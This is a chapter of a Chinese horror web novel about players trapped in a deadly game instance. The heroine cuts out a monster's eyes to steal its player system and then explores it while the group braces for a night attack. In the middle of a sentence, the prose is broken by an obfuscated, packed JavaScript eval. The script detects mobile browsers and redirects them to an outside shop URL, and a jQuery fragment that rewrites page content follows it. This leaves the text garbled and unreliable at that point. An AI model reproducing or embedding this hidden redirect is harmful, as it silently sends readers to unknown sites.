一个人的体能怎么可以好成这样？这种人岂不是丢到非洲大草原都死不了？不对。她在副本里都死不了，去非洲大草原只会混成食物链最顶端。 “还可以吧。”易礼摆摆手，“霍哥，你说，村子里的年轻人真的都去城里打工了么？” 霍张一愣，顿时扭头看过来：“你这么问是什么意思？发现什么了？” “没。”易礼摇摇头，“我只是奇怪，这个村子明显只进不出，村子里的人应该也是走不出那座山头的。他们如果能自由进出，难道是……还有别的路？” “副本世界跟现实世界不一样。发生的一切不能以外界的标准来衡量。况且一般副本内的时间流速跟外界不同。我们在副本带十天半个月，外界也许只是一晚上。外界有一种说法，副本就像一个被封存起来的小世界，时间是静止的。只有玩家进来后，时间才会开始流动。” 进展到这，他之前说的话有一大半都成了空。霍张苦笑，他的经验已经失去优势。 “当然，这个说法目前我也不确定是不是完全属实。” 易礼点点头，没再说什么。 几人等了一会儿，那山头终于恢复平静，几人才回招待所。 梁琼此时已经醒了，正在清理招待所内层出不穷的巨型蛞蝓。 这些蛞蝓比山上看到的要大很多，背部也多出像眼睛一样狰狞的黑白斑纹。最小的比南方老鼠大，最大的跟中型犬一样大小。浑身裹满了黄褐色的粘液。正从湿漉漉的草丛深处，房屋的潮湿阴暗处，一拱一拱地拱到房间中央。 一场雨，将招待所变成了巨型蛞蝓的巢穴。看起来十分的恶心。 “你们回来了。”苏醒后，梁琼的精神不算太差。她手上捏着一个类似警棍的道具，打得虎虎生风：“怎么样？有收获吗？” “进去再说。” 几人进了屋，霍张就将三人在山上和黄志家遇到的事详细说给梁琼听了。 哪怕霍张说的极度精简，梁琼依旧听出了惊心动魄的意味。她看向易礼，现在已经完全没有了轻视新人的想法：“易礼，你把黄毅的东西埋在哪儿了？” “在老葛媳妇的房间里。” 梁琼闻言，点了点头。 老葛媳妇早已是怪了。她的粘液既然能抑制镜鬼，说明是有点东西在身上。不知道一个上午过去，她现在是个什么情况。 想着，易礼起身去了隔壁。 赵青坐在角落里看霍张与梁琼分析，注意到易礼出去，犹豫要不要跟着。不过最终还是没跟，他太累了。一上午又是逃命又是惊吓，他早就精疲力尽。 易礼一个人来到隔壁，打开门，果然老葛媳妇又发生了变化。 她的外形变得巨大，涨成原来的两倍大。看到易礼过来，那口全是尖牙的嘴不断地蠕动。移动速度似乎也变快了不少，但对易礼来说，还是慢。 “易礼……易礼……” “老葛媳妇，你还能听见我说话吗？”易礼小心地观察了地面，寻找落脚的地方。 “易礼……” “你身上的系统，还开着吗？” “易礼……” “如果你不用了，给我怎么样？” “易礼……易礼……” “你给我的话，我说不定也可以给你你想要的东西……” 老葛媳妇听到这，忽然不再叫易礼的名字：“给你……你，骨灰……眼睛……” 骨灰，她知道。她死鬼老爹的。眼睛，难道是她捡的那把刀？ 易礼不确定，但看向老葛媳妇已经完全异化的眼睛。眼中闪过一丝危险的光。 “可以，我可以给你。我们公平交换。” 说着，易礼缓缓的靠近。 老葛媳妇仿佛很欢快，狰狞丑陋的脸上全是兴奋的神采。 她快速地向易礼蠕动，张开的嘴巴越来越大。 易礼若无其事地跨入这间早已肮脏得没地下脚的房间。在确定方位后迅速行动。趁着老葛媳妇缓缓伸出脑袋来够她时，快准狠地出刀，砍掉了她一对眼珠子。 老葛媳妇吃痛，一瞬间，发出惨烈的叫声。那股声音的音调很高，已经脱离了人类的范畴。但很显然，她果然是个难缠的怪物，这点伤害似乎并没有致命，只是激怒了她。 易礼以极其灵敏地躲开了，将王慧的那双眼珠扔给他，迅速逃窜出来。 隔壁房间霍张梁琼等人也听见了动静，冲出来查看。见易礼毫发无伤，诧异她做了什么。 “没做什么。”易礼努力压下了翘起的嘴角。在拿到那对眼珠的瞬间，她似乎听见了系统的警报声。果然！玩家的系统就藏在眼球中。没办法立即拿出来研究，易礼压抑激动的心情，平淡地解释：“我刚才检查老葛媳妇的情况。她像早上那样企图咬我。我给了她一刀。” 霍张/赵青：“……” 易礼身上有她爸骨灰这事儿，几人都知道。 赵青于是立即给梁琼解释，易礼父亲极有可能是副本玩家的事。 “所以……你爸的骨灰对鬼怪有吸引作用？”梁琼很快发现了华点。 不得不说，这个话没明确提出来之前，霍张和赵青都不觉得易礼这一路跟着他们有什么。当梁琼突然提出易礼身上携带的东西吸引鬼怪，性质似乎就发生了一些变化。这话仿佛在说，这些天他们疲于应对层出不穷的鬼怪，有一大部分责任出自易礼。 赵青张了张嘴，不知道该怎么说。霍张也有些沉默。 梁琼话说出口也意识到不对。如果易礼是个拖后腿的家伙，她不介意把人踢出团队。但副本走到今天，易礼俨然是他们团队找寻出路最有力的伙伴，她不至于这时候犯傻。更何况，她的命是易礼救的：“我不是那个意思易礼，你不要误会。我的意思是，会不会你父亲的骨灰，有特殊的效用？” “关于这个问题，我也在探索。”易礼干脆承认，“但不到万不得已，不会拿我爸的骨灰去喂鬼怪。” 易礼表态十分干脆，霍张和赵青都松了口气。 现在玩家就剩四个人，如果还搞内讧，那就真的活不下去了。不管易礼父亲的骨灰是不是有吸引鬼怪的作用，他们想要活下来，必须团结。 “天快黑了。”霍张看了眼天色，对了时间，下午三点。 “昨天是三点半黑天。”也就是说，如果今天跟昨天一样，还有半个小时就会天黑。从上午到现在，每个人只吃了一顿饭。梁琼更惨，梁琼从昨天早上到现在，都饿着肚子。 “抓紧时间去食堂。尽快填饱肚子，今晚不好熬。” 这个决定没人反对。 运气不错，几人到食堂，正巧有村民挑着新鲜的食材进来。 她似乎没想到警察们这么早就来吃饭，一时间有些匆忙。霍张好声好气地与她商量，希望能尽早吃上饭。村民是个四十岁左右的中年妇女。那张黑黄的脸上全是皱纹，头发也被雨水打湿。一双眼睛中已经蜕化城绿豆的眼珠子在浑浊的眼球中颤抖着，却没有拒绝这个要求。 她有几分渴望地看着易礼，目光尤其渴望地瞥着她拴在腰上的小腰包。 众人心里明白，那里面有易礼父亲的骨灰。 但易礼却不这么想，包里除了骨灰，还有她从山上捡回来的一柄小刀。村民到底是在看刀，还是在看骨灰，很难说。 不过众人默契地回避了这个话题，快速吃完饭，回到招待所。 “趁着天没黑，轮流休息。”梁琼已经睡了半天一夜，现在不困，“我守着。” 霍张让赵青和易礼先睡，他体能还撑得住。 易礼也没跟他客气，靠在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16695229|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就闭上了眼。 不过，她看似睡着，实则正在研究新得的系统。系统从她强行从老葛媳妇身上剥离时，迅速钻进了她的手心，并一直发出异常的警告。那股刺耳的声音一直不断在她耳边狂叫，吵得她脑袋都快炸了。直到易礼的意识进入系统，这东西才终于平静下来。 原来这东西不需要操作，只要意念所动就能进入？ 所谓的主控界面，她看到了。 有点类似网游的登录界面，只是界面是一个猩红的的大门。门口有一张张重叠张开的巨口，看起来很像上网时突然弹出来的垃圾游戏弹窗。 点进去，耳边是熟悉的嘶吼，比跟她签合同时听到的精神污染还差一点。 易礼都没什么反应，直接无视了时不时跳出来的鬼面，将意念所动能点的按钮都点一遍。 但很奇怪，这东西似乎没办法重新寄生到她的身上。尝试了好几次，系统都仿佛被什么东西给隔绝了，属于无法识别的状态。 估计因为她不是原始玩家，她属于盗号。 于是易礼干脆不搞实名认证，而是以游客状态进入主控系统。 系统商城可以打开，但她没有账户。也就是说，她无法获得通关后的积分奖励。更无法用积分换取系统商城的商品。看着琳琅满目的商品货架，易礼羡慕嫉妒恨并十分遗憾地关闭了商城。不过，主控系统最角落的两个标志人头，却很明显地换了人。 从老葛媳妇换成了她，一个叫声望值，一个叫信仰度。 什么东西？玩这个副本还能积攒声望值和信仰度吗？她现在有声望值了？ 易礼查看了下数据，声望值：109。信仰度：0。 不过，声望值有什么用？ 没找到相应兑换的商城，易礼直接退出了系统。 她退出得毫不犹豫，却不知道在她所不知道的副本之外，弹幕早已炸了。 直播确实不是给人看的，但一些在副本耕耘多年的势力却有办法看到直播。只不过这群人是出于吸纳人才或者搜罗特殊道具的目的，定期持续性地观看新人的副本。毕竟新人副本的爆率通常最高，而且相对来说，容易出罕见道具。 但这个秘密，只有一些大势力的高层知道。并不对外公开。 副本游戏看似无人觉察，实则藏在世界的黑暗之中已有几百年。被卷入其中玩家们为了尽可能活下来，自然团结起来应对危机。久而久之就形成了势力，官方的和民间的都有。 此时，暗中盯紧了黄冥村这个副本的玩家和背后势力，已经被这个盗号进入副本的神人给惊爆。 易礼统统不知道。她迅速进入梦乡，在短暂休息恢复体力后，替换霍张。 …… 夜色在一瞬间就笼罩了黄冥村。 时间刚到五点，天色就全黑了。大雨也在同一时间哗啦啦的降下。看着窗外被浓浓夜色覆盖的大雨，所有人都知道，夜里绝对不会平静了。 梁琼将房间再次检查一遍，确认没有缝隙和镜子，绷紧了心弦坐在墙角。 隔壁的老葛媳妇已经安静下来，四周寂静无声。 赵青吞了口口水，有点想上厕所。 但一想到镜子里的东西，他只能忍着。可越是忍着，就越忍不住，憋的膀胱都要炸了。 “霍哥，易礼姐……” 霍张抬起眼帘，眼底是深深的黑眼圈：“怎么了？” “我想上厕所。” “那就去啊。” “可，可镜子，镜子里不是有东西吗？” 梁琼差点被镜鬼杀了，赵青这个菜鸟哪敢挑衅？他快哭了：“我，我在屋内解决？” “不用。”易礼拿起她那把柴刀，站起来，“我跟你一起去。” 她走到卫生间门口，开门的瞬间，一刀砍在镜子上。就听到嘭地一声巨响，镜片噼里啪啦碎一地。她扯了柜子里的破布将碎玻璃全盖上，示意赵青：“上吧。” 整个过程，速度快到不到三秒，赵青都懵了。 好半天，他吞了口口水，局促地走进去：“哦哦，好。易礼姐，我可以不关厕所门吗？” 易礼就站在门边，等着他尿完。 赵青红着脸洗完手出来，霍张和梁琼好笑地看着他。 就在这时，门忽然被敲响了。 房间内的温度迅速降下来，一股阴冷的风吹进了门缝。 易礼感觉到兜里那个被烧了一个角的符咒正在发热，越来越烫，她的心跳也在一瞬间慢下来。呼吸放轻，手心和背心濡湿，后颈迅速爬上一层鸡皮疙瘩。 ‘嘟嘟嘟嘟——’ 四声很轻。 几人脸色一变，迅速噤声。来了！这么快！